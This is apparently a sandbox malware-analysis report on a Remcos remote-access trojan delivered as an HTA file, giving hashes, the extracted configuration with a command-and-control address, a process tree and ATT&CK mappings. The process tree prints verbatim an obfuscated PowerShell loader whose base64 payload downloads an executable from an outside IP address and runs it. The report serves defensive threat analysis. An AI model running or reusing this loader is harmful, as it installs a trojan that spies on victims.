remcos | 73d0a015a1d5a1a846d3451a8ba70964c56581b06279208cb87c6c2eea1a6644

General

Target

newthingswithgreatupdateiongivenbestthingswithme.hta
Size

143KB
MD5

fd6fc3abb81de5133fb2de54b937ca20
SHA1

241f7fa153504078a9a9b07f966f3c4e862a9545
SHA256

73d0a015a1d5a1a846d3451a8ba70964c56581b06279208cb87c6c2eea1a6644
SHA512

5c37a3432112eb422e264101706a1c9e5bb7c266f064e8618b96e7e6e185800ffdf315d02f27cc23cd07e6a854bbbe19ccb5173eff885f8c808d76d6dab86516
SSDEEP

768:tlEHKFlVum2oum2QB3S5KUJDVUKhC74GVf/AyK+v6Aq1Xl7zPRDIfz9esnkoFfz7:tl

Score

10^/10

remcos elvis defense_evasion discovery execution rat

Malware Config

Extracted

Family

remcos

Botnet

elvis

C2

107.173.4.16:2560

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-GJDISH
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	3004	powershell.exe

Downloads MZ/PE file

Evasion via Device Credential Deployment 1 IoCs

defense_evasion execution

pid	Process
3004	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
2452	nicetomeetyousweeet.exe

Loads dropped DLL 4 IoCs

pid	Process
3004	powershell.exe
3004	powershell.exe
3004	powershell.exe
3004	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
3004	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3004	powershell.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 3068 wrote to memory of 2708	3068	mshta.exe	30
PID 3068 wrote to memory of 2708	3068	mshta.exe	30
PID 3068 wrote to memory of 2708	3068	mshta.exe	30
PID 3068 wrote to memory of 2708	3068	mshta.exe	30
PID 2708 wrote to memory of 3004	2708	cmd.exe	32
PID 2708 wrote to memory of 3004	2708	cmd.exe	32
PID 2708 wrote to memory of 3004	2708	cmd.exe	32
PID 2708 wrote to memory of 3004	2708	cmd.exe	32
PID 3004 wrote to memory of 2892	3004	powershell.exe	33
PID 3004 wrote to memory of 2892	3004	powershell.exe	33
PID 3004 wrote to memory of 2892	3004	powershell.exe	33
PID 3004 wrote to memory of 2892	3004	powershell.exe	33
PID 2892 wrote to memory of 2828	2892	csc.exe	34
PID 2892 wrote to memory of 2828	2892	csc.exe	34
PID 2892 wrote to memory of 2828	2892	csc.exe	34
PID 2892 wrote to memory of 2828	2892	csc.exe	34
PID 3004 wrote to memory of 2452	3004	powershell.exe	36
PID 3004 wrote to memory of 2452	3004	powershell.exe	36
PID 3004 wrote to memory of 2452	3004	powershell.exe	36
PID 3004 wrote to memory of 2452	3004	powershell.exe	36

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\newthingswithgreatupdateiongivenbestthingswithme.hta"
1⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:3068
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" "/C PoWeRsHelL -EX BYPass -nop -W 1 -C deVicecREDeNtIaLDEPLOYmEnt.ExE ; INVOkE-ExPRESsIon($(iNVOKe-eXprEsSIoN('[SYsTem.tEXT.eNCODing]'+[cHAr]58+[chAR]58+'UTF8.GeTSTrInG([sySTEm.coNVErt]'+[cHAR]0X3A+[CHar]58+'fRomBasE64StriNG('+[cHAr]0X22+'JHJIQVp5bkw1UG1uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURkLVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJlUmRFZkluaVRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVybG1vTi5kbEwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEtidUtvVmpvYUxlLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwWWZJLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMa0ZHT09RclBIUix1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFdzeE9URlFFZXAsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFoWFEpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImlSRFN1IiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZXNQYWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIE5sT0NzICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJIQVp5bkw1UG1uOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjMuMTc5LjE2Ni83NS9lY29tZS5leGUiLCIkRW52OkFQUERBVEFcbmljZXRvbWVldHlvdXN3ZWVldC5leGUiLDAsMCk7U1RBUlQtU2xFRXAoMyk7aU52b0tFLWVYUFJlU1NJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTlY6QVBQREFUQVxuaWNldG9tZWV0eW91c3dlZWV0LmV4ZSI='+[cHAR]0x22+'))')))"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2708
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    PoWeRsHelL -EX BYPass -nop -W 1 -C deVicecREDeNtIaLDEPLOYmEnt.ExE ; INVOkE-ExPRESsIon($(iNVOKe-eXprEsSIoN('[SYsTem.tEXT.eNCODing]'+[cHAr]58+[chAR]58+'UTF8.GeTSTrInG([sySTEm.coNVErt]'+[cHAR]0X3A+[CHar]58+'fRomBasE64StriNG('+[cHAr]0X22+'JHJIQVp5bkw1UG1uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURkLVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJlUmRFZkluaVRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVybG1vTi5kbEwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEtidUtvVmpvYUxlLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwWWZJLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMa0ZHT09RclBIUix1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFdzeE9URlFFZXAsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFoWFEpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImlSRFN1IiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZXNQYWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIE5sT0NzICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJIQVp5bkw1UG1uOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjMuMTc5LjE2Ni83NS9lY29tZS5leGUiLCIkRW52OkFQUERBVEFcbmljZXRvbWVldHlvdXN3ZWVldC5leGUiLDAsMCk7U1RBUlQtU2xFRXAoMyk7aU52b0tFLWVYUFJlU1NJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTlY6QVBQREFUQVxuaWNldG9tZWV0eW91c3dlZWV0LmV4ZSI='+[cHAR]0x22+'))')))"
    3⤵
    - Blocklisted process makes network request
    - Evasion via Device Credential Deployment
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3004
  - - C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
      "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\iumviw0b.cmdline"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2892
    - - C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8D81.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC8D80.tmp"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2828
  - - C:\Users\Admin\AppData\Roaming\nicetomeetyousweeet.exe
      "C:\Users\Admin\AppData\Roaming\nicetomeetyousweeet.exe"
      4⤵
      Executes dropped EXE
      PID:2452

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\RES8D81.tmp

Filesize
1KB

MD5
cfbf1a73f9f344a92b29947c22823001

SHA1
67b0e360c270a1c7dcf66a3f9dff86d2e5755a36

SHA256
72464933b2beaf9006887fde1dd2be8e8f49f7d2e8037b6cb9c8646e408ecd97

SHA512
bc82fbed7360bdd441a9267ef5cbe5c8eabb156d1baed19ec5a3da119872603714c7a82574c4c3bbf8a07a2e903959ac21f0ea0f5a002acb693f30833d0f3008

Download Submit
C:\Users\Admin\AppData\Local\Temp\iumviw0b.dll

Filesize
3KB

MD5
2aff9539d8b5496867446be0a11a34cb

SHA1
3cc76f53f21330ad4519f64852ca1b9b0d8222b4

SHA256
0814f73abbfbd19d11606bffd7d626a1b22c3845b1fa4da7fb64879b003b9477

SHA512
38344a335bfa899a9f0d7530526b744eaa6f51bc8c8cb2abbda877e7f137a4f3188c2867cfc8b457f9ad4f03bb7785d0b39c11a2fa6c00805121f6b627ab1f55

Download Submit
C:\Users\Admin\AppData\Local\Temp\iumviw0b.pdb

Filesize
7KB

MD5
407a41d005178439a8a2de2ec3aea9f6

SHA1
839cf6acb8f6a63f8e118c2a6fc45b2e874245e5

SHA256
3d41fe5ddbc60fac9686d505d15c650557b0032cefc9327b03b27a788cd44503

SHA512
aa82badc314a786c03437d97d6a6aae07106bbf36e90c0051fab8d898ec43f25600348a25040f337ebcce3e57c3da0dca71c9f393eb65cb029bfeaff437ba26e

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\CSC8D80.tmp

Filesize
652B

MD5
8fbc1b368c131e5ff1f2451990f26a47

SHA1
01554756afed2eab07c6db91758bcf2b4733e062

SHA256
1679bb6f4eec5e1b41a914c56098ba87d680b1ba2609f066243de398350d3ee2

SHA512
e8bea5db6a078b0a79123ceaa28e0c99f23e1065537450c985ea7d63a1e93aa14bf7179be1e703f6782d543f8627973275deafc2808583947936be860a651ca1

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\iumviw0b.0.cs

Filesize
493B

MD5
00df4ae943d803cb15795b1fd55ead94

SHA1
fc1509b646d150cc4d1c2d92cf772be4af67716b

SHA256
e8d13d324b35fc23a6729caa22125343bfebb09476a9334e93e8c1804ce6314a

SHA512
e40826e83f25a3be3fdf26c1d5a667d0eb40d53d3f0fe46f8cc395152cd1eb46b98e193fc3a3f06b6cefadbed030d2a90a5575c1d235228d53d5f152d2e85796

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\iumviw0b.cmdline

Filesize
309B

MD5
b9e3642d722cc8e7c53eb586d85ae917

SHA1
dd360fb19d03823012ccb02f3b9c47e73fd67615

SHA256
4a95fb947c304436645f5e1d0dbd24de06faeba95624649dc1341b0aea45cca6

SHA512
3065ce2e013087d64ef3852f95fb2bb511b8472f903bb943ff752e3658360b6ddbc496d2dcfee9135d465317e58dbedbf262a8f7191089f7b305d3c31e9a980a

Download Submit
\Users\Admin\AppData\Roaming\nicetomeetyousweeet.exe

Filesize
528KB

MD5
a2d03c5333bfecca62720cd6ee3a4dc4

SHA1
ce4c380f2748f375904c17b38d4f93e294fef4f6

SHA256
ef8ec5181ab4cf85a5c4867089594f40900eaafb514496905eb86314c460178e

SHA512
5c9db8bb415da332c0adc24519ae0410a65aba932de15a682ce57efbc61b8b7d7e5e3548164909a5da5bc6966c351528626655fdbb7c21f3b4fd1974406ae04c

Download Submit
memory/2452-44-0x0000000000400000-0x000000000048B000-memory.dmp

Filesize
556KB

Download
memory/2452-48-0x0000000000400000-0x000000000048B000-memory.dmp

Filesize
556KB

Download
memory/2452-43-0x0000000000400000-0x000000000048B000-memory.dmp

Filesize
556KB

Download
memory/2452-41-0x0000000000400000-0x000000000048B000-memory.dmp

Filesize
556KB

Download
memory/2452-45-0x0000000000400000-0x000000000048B000-memory.dmp

Filesize
556KB

Download
memory/2452-46-0x0000000000400000-0x000000000048B000-memory.dmp

Filesize
556KB

Download
memory/2452-47-0x0000000000400000-0x000000000048B000-memory.dmp

Filesize
556KB

Download
memory/2452-42-0x0000000000400000-0x000000000048B000-memory.dmp

Filesize
556KB

Download
memory/2452-49-0x0000000000400000-0x000000000048B000-memory.dmp

Filesize
556KB

Download
memory/2452-50-0x0000000000400000-0x000000000048B000-memory.dmp

Filesize
556KB

Download
memory/2452-51-0x0000000000400000-0x000000000048B000-memory.dmp

Filesize
556KB

Download
memory/2452-52-0x0000000000400000-0x000000000048B000-memory.dmp

Filesize
556KB

Download
memory/2452-53-0x0000000000400000-0x000000000048B000-memory.dmp

Filesize
556KB

Download
memory/2452-54-0x0000000000400000-0x000000000048B000-memory.dmp

Filesize
556KB

Download

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